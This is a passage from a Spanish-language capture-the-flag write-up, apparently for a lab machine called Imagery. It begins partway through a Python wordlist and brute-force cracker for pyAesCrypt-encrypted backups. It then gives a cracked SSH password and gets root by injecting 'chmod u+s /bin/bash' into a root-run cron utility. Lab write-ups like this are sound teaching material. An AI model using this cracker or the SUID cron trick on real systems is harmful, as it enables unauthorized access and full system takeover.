&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; try_password&lt;span style="color:#f92672"&gt;(&lt;/span&gt;aesfile, pwd&lt;span style="color:#f92672"&gt;)&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; print&lt;span style="color:#f92672"&gt;(&lt;/span&gt;f&lt;span style="color:#e6db74"&gt;&amp;#34;[+] ¡Contraseña encontrada! -&amp;gt; {pwd}&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; pbar.close&lt;span style="color:#f92672"&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; pwd
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; pbar.update&lt;span style="color:#f92672"&gt;(&lt;/span&gt;1&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; pbar.close&lt;span style="color:#f92672"&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; print&lt;span style="color:#f92672"&gt;(&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;[-] No encontrada en esta wordlist.&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; None
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;def mode_brute&lt;span style="color:#f92672"&gt;(&lt;/span&gt;aesfile, charset, min_len&lt;span style="color:#f92672"&gt;=&lt;/span&gt;1, max_len&lt;span style="color:#f92672"&gt;=&lt;/span&gt;3, prefix&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;)&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# ADVERTENCIA: espacio de búsqueda crece exponencialmente.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; print&lt;span style="color:#f92672"&gt;(&lt;/span&gt;f&lt;span style="color:#e6db74"&gt;&amp;#34;[!] Bruteforce: charset={charset} min={min_len} max={max_len} (esto puede ser muy lento)&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; length in range&lt;span style="color:#f92672"&gt;(&lt;/span&gt;min_len, max_len + 1&lt;span style="color:#f92672"&gt;)&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; total &lt;span style="color:#f92672"&gt;=&lt;/span&gt; len&lt;span style="color:#f92672"&gt;(&lt;/span&gt;charset&lt;span style="color:#f92672"&gt;)&lt;/span&gt; ** length
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; print&lt;span style="color:#f92672"&gt;(&lt;/span&gt;f&lt;span style="color:#e6db74"&gt;&amp;#34;Probando longitudes = {length} (combinaciones: {total})&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# usamos itertools.product&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; tup in tqdm&lt;span style="color:#f92672"&gt;(&lt;/span&gt;itertools.product&lt;span style="color:#f92672"&gt;(&lt;/span&gt;charset, repeat&lt;span style="color:#f92672"&gt;=&lt;/span&gt;length&lt;span style="color:#f92672"&gt;)&lt;/span&gt;, total&lt;span style="color:#f92672"&gt;=&lt;/span&gt;total&lt;span style="color:#f92672"&gt;)&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; pwd &lt;span style="color:#f92672"&gt;=&lt;/span&gt; prefix + &lt;span style="color:#e6db74"&gt;&amp;#34;&amp;#34;&lt;/span&gt;.join&lt;span style="color:#f92672"&gt;(&lt;/span&gt;tup&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; try_password&lt;span style="color:#f92672"&gt;(&lt;/span&gt;aesfile, pwd&lt;span style="color:#f92672"&gt;)&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; print&lt;span style="color:#f92672"&gt;(&lt;/span&gt;f&lt;span style="color:#e6db74"&gt;&amp;#34;[+] ¡Contraseña encontrada! -&amp;gt; {pwd}&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; pwd
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; print&lt;span style="color:#f92672"&gt;(&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;[-] No encontrada en el rango solicitado.&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; None
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;def main&lt;span style="color:#f92672"&gt;()&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ap &lt;span style="color:#f92672"&gt;=&lt;/span&gt; argparse.ArgumentParser&lt;span style="color:#f92672"&gt;(&lt;/span&gt;description&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;Brute/wordlist attack para .aes (pyAesCrypt)&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ap.add_argument&lt;span style="color:#f92672"&gt;(&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;--file&amp;#34;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#34;-f&amp;#34;&lt;/span&gt;, required&lt;span style="color:#f92672"&gt;=&lt;/span&gt;True, help&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;archivo .aes (input)&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ap.add_argument&lt;span style="color:#f92672"&gt;(&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;--wordlist&amp;#34;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#34;-w&amp;#34;&lt;/span&gt;, help&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;ruta a wordlist (ej. rockyou.txt)&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ap.add_argument&lt;span style="color:#f92672"&gt;(&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;--start-line&amp;#34;&lt;/span&gt;, type&lt;span style="color:#f92672"&gt;=&lt;/span&gt;int, default&lt;span style="color:#f92672"&gt;=&lt;/span&gt;0, help&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;saltarse X líneas de la wordlist (útil para reanudar)&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ap.add_argument&lt;span style="color:#f92672"&gt;(&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;--limit&amp;#34;&lt;/span&gt;, type&lt;span style="color:#f92672"&gt;=&lt;/span&gt;int, default&lt;span style="color:#f92672"&gt;=&lt;/span&gt;None, help&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;limitar número de intentos desde la wordlist&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ap.add_argument&lt;span style="color:#f92672"&gt;(&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;--brute&amp;#34;&lt;/span&gt;, action&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;store_true&amp;#34;&lt;/span&gt;, help&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;activar modo brute force (muy lento)&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ap.add_argument&lt;span style="color:#f92672"&gt;(&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;--charset&amp;#34;&lt;/span&gt;, type&lt;span style="color:#f92672"&gt;=&lt;/span&gt;str, default&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;abcdefghijklmnopqrstuvwxyz0123456789&amp;#34;&lt;/span&gt;, help&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;charset para brute&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ap.add_argument&lt;span style="color:#f92672"&gt;(&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;--min&amp;#34;&lt;/span&gt;, type&lt;span style="color:#f92672"&gt;=&lt;/span&gt;int, default&lt;span style="color:#f92672"&gt;=&lt;/span&gt;1, help&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;min longitud brute&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ap.add_argument&lt;span style="color:#f92672"&gt;(&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;--max&amp;#34;&lt;/span&gt;, type&lt;span style="color:#f92672"&gt;=&lt;/span&gt;int, default&lt;span style="color:#f92672"&gt;=&lt;/span&gt;3, help&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;max longitud brute&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ap.add_argument&lt;span style="color:#f92672"&gt;(&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;--prefix&amp;#34;&lt;/span&gt;, type&lt;span style="color:#f92672"&gt;=&lt;/span&gt;str, default&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&amp;#34;&lt;/span&gt;, help&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;prefijo para brute (divide búsqueda)&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; args &lt;span style="color:#f92672"&gt;=&lt;/span&gt; ap.parse_args&lt;span style="color:#f92672"&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; not os.path.exists&lt;span style="color:#f92672"&gt;(&lt;/span&gt;args.file&lt;span style="color:#f92672"&gt;)&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; print&lt;span style="color:#f92672"&gt;(&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;Archivo no encontrado:&amp;#34;&lt;/span&gt;, args.file&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; sys.exit&lt;span style="color:#f92672"&gt;(&lt;/span&gt;1&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# modo wordlist&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; args.wordlist:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; not os.path.exists&lt;span style="color:#f92672"&gt;(&lt;/span&gt;args.wordlist&lt;span style="color:#f92672"&gt;)&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; print&lt;span style="color:#f92672"&gt;(&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;Wordlist no encontrada:&amp;#34;&lt;/span&gt;, args.wordlist&lt;span style="color:#f92672"&gt;)&lt;/span&gt;; sys.exit&lt;span style="color:#f92672"&gt;(&lt;/span&gt;1&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; print&lt;span style="color:#f92672"&gt;(&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;[*] Modo wordlist activo. Ten paciencia.&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; found &lt;span style="color:#f92672"&gt;=&lt;/span&gt; mode_wordlist&lt;span style="color:#f92672"&gt;(&lt;/span&gt;args.file, args.wordlist, start_line&lt;span style="color:#f92672"&gt;=&lt;/span&gt;args.start_line, limit&lt;span style="color:#f92672"&gt;=&lt;/span&gt;args.limit&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; found:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# modo brute&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; args.brute:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; found &lt;span style="color:#f92672"&gt;=&lt;/span&gt; mode_brute&lt;span style="color:#f92672"&gt;(&lt;/span&gt;args.file, args.charset, min_len&lt;span style="color:#f92672"&gt;=&lt;/span&gt;args.min, max_len&lt;span style="color:#f92672"&gt;=&lt;/span&gt;args.max, prefix&lt;span style="color:#f92672"&gt;=&lt;/span&gt;args.prefix&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; found:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; print&lt;span style="color:#f92672"&gt;(&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;[*] Finished. No password found with the given inputs.&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; __name__ &lt;span style="color:#f92672"&gt;==&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;__main__&amp;#34;&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; main&lt;span style="color:#f92672"&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f2888fa-f353-803b-9920-d838e37b3e24.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f2888fa-f353-8012-804f-e871e8f509ac.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Consigo la contraseña y descomprimo el backup. Dentro encuentro una versión anterior de la base de datos que contiene el hash del usuario &lt;strong&gt;mark&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f2888fa-f353-802c-85ab-f19aa0f29f13.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Crackeo el hash de Mark:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Hash:&lt;/strong&gt; (obtenido del backup)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Contraseña:&lt;/strong&gt; &lt;code&gt;supersmash&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f2888fa-f353-804d-a6e8-d4ebc3f5506c.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Me conecto por SSH y obtenemos la user flag.&lt;/p&gt;
&lt;h2 id="escalada-de-privilegios"&gt;Escalada de Privilegios&lt;/h2&gt;
&lt;h3 id="abuso-de-cron-jobs"&gt;Abuso de Cron Jobs&lt;/h3&gt;
&lt;p&gt;Como usuario &lt;code&gt;mark&lt;/code&gt;, enumero el sistema&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f2888fa-f353-8018-b5ae-c54fefaf1edb.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;y encuentro una aplicación local (charcol) que permite gestionar backups encriptados.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f2888fa-f353-800d-924c-e039dec2b7be.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f2888fa-f353-8027-a94d-cd7277336e97.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Permite gestionar tareas programadas (Cron Jobs).&lt;/p&gt;
&lt;p&gt;Esta utilidad parece tener permisos excesivos al ejecutarse en el contexto de root. Aprovecho la funcionalidad para crear un nuevo cron job malicioso.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f2888fa-f353-80df-b922-d2be6cdfde2d.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;En lugar de un script legítimo, configuro una tarea que otorgue permisos SUID a &lt;code&gt;/bin/bash&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Comando inyectado en el Cron:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;chmod u+s /bin/bash&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f2888fa-f353-8041-bca5-ff6c36525253.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Espero a que el cron se ejecute (probablemente cada minuto). Verifico los permisos de bash:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f2888fa-f353-80b8-8933-c72fa3967c4f.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f2888fa-f353-80a9-9abf-cd18c63c4e6b.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Imagery has been Pwned!&lt;/p&gt;</content><author>admin@synacklabs.github.io (SynAckLabs)</author></item></channel></rss>